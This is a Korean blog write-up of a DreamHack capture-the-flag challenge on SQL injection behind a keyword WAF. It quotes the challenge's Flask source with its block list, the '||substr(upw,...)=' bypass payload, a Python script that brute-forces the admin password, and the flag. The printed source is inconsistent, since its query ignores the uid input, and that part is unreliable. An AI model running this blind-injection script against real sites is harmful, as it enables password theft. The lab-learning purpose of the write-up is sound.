sql injection bypass WAF 문제와 많이 비슷한 문제지만 특이점은 \n, \r \t, -, + 등 개행 및 줄바꿈, 주석 등을 아얘 못쓰게 막아놨다는 점이다.
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/',
'\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
for keyword in keywords:
if keyword in data.lower():
return True
return False
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
if check_WAF(uid):
return 'your request has been blocked by WAF.'
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='guest'&&substr(upw,1,1)='g';")
result = cur.fetchone()
if result:
return template.format(uid=uid, result=result[1])
else:
return template.format(uid=uid, result='')
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
개행등을 막아놓긴 했지만 괄호를 사용하는 등 띄어쓰기를 우회할 수 있는 방법은 존재한다. 하지만 이 문제가 의도한대로 풀려면 blind sql injection을 사용할 수 있다.
blind sql injection 사용을 위해선 and나 or을 사용해야 하지만 이 둘또한 막아놓은 것 을 알 수 있다. 하지만 이 둘 또한 우회할 수 있는 방법이 있다.
논리 연산자를 사용하면 되는데
1. or : ||
2. and : && (%26%26)
and 연산자는 %26%26으로 작성해줘야 한다. 처음에 &&을 그냥 써봤는데 입력창에서 인식을 못해줘서 꼭 아스키 값으로 바꿔줘서 입력해줘야 한다.
하지만 admin 또한 막힌 상태라 admin' and ~~~ 이 구문을 사용하지 못해서 or 구문을 사용해줬다.
'||substr(upw,1,1)='d
이런식으로 첫번째 문자부터 시작해서 admin이 출력되는 걸 찾으면 된다.
이때, 입력창이 아닌 url에 직접 넣어줘야 한다.
한가지 유의해야 할 점은 다른 아이디들과 비밀번호 자리가 겹쳐서 다른 아이디가 출력되는 점인데 다른 아이딜의 비밀번호의 최대 길이가 5밖에 되지 않으므로 5번째 길이까지만 주의해주면 된다.
그리고 일일이 하기엔 귀찮으므로 python코드를 짜주었다.
from requests import get
host = "http://host3.dreamhack.games:12253"
password ="dh{"
i = 4
str = "abcdefghijklmnopqrstuvwxyz1234567890"
isP = False
while True:
isP = False
for j in range(0, len(str)):
query = f"'||substr(upw,{i},1)='{str[j]}"
r = get(f"{host}/?uid={query}")
if "admin" in r.text:
isP = True
password+=str[j]
print(password)
break
if not isP: # 해당되는 문자가 없을 때
break
i+=1
password+='}'
print(password)
flag에 들어갈 문자는 영어소문자와 숫자밖에 없으므로 str에 모든 문자들을 저장해주고 하나씩 돌려가며 admin이 출력되는지 확인해 주었다.
그렇게 나온 답은 dh{d3def39496c4153942f3f7d5451a4b98c6db1664}이다.
이때, flag의 dh는 대문자이므로 DH{~}로 바꿔서 입력해주면 된다.
'Web Hacking > DreamHack' 카테고리의 다른 글
[DreamHack] xss-1 풀이 (0) | 2024.04.04 |
---|---|
드림핵 XSS Filtering Bypass Advanced 풀이 (0) | 2023.12.29 |
드림핵 phpmyRedis 문제 (0) | 2023.11.24 |
드림핵 blind sql injection advanced 풀이 (2) | 2023.10.20 |
드림핵 blind-command 풀이 (0) | 2023.10.12 |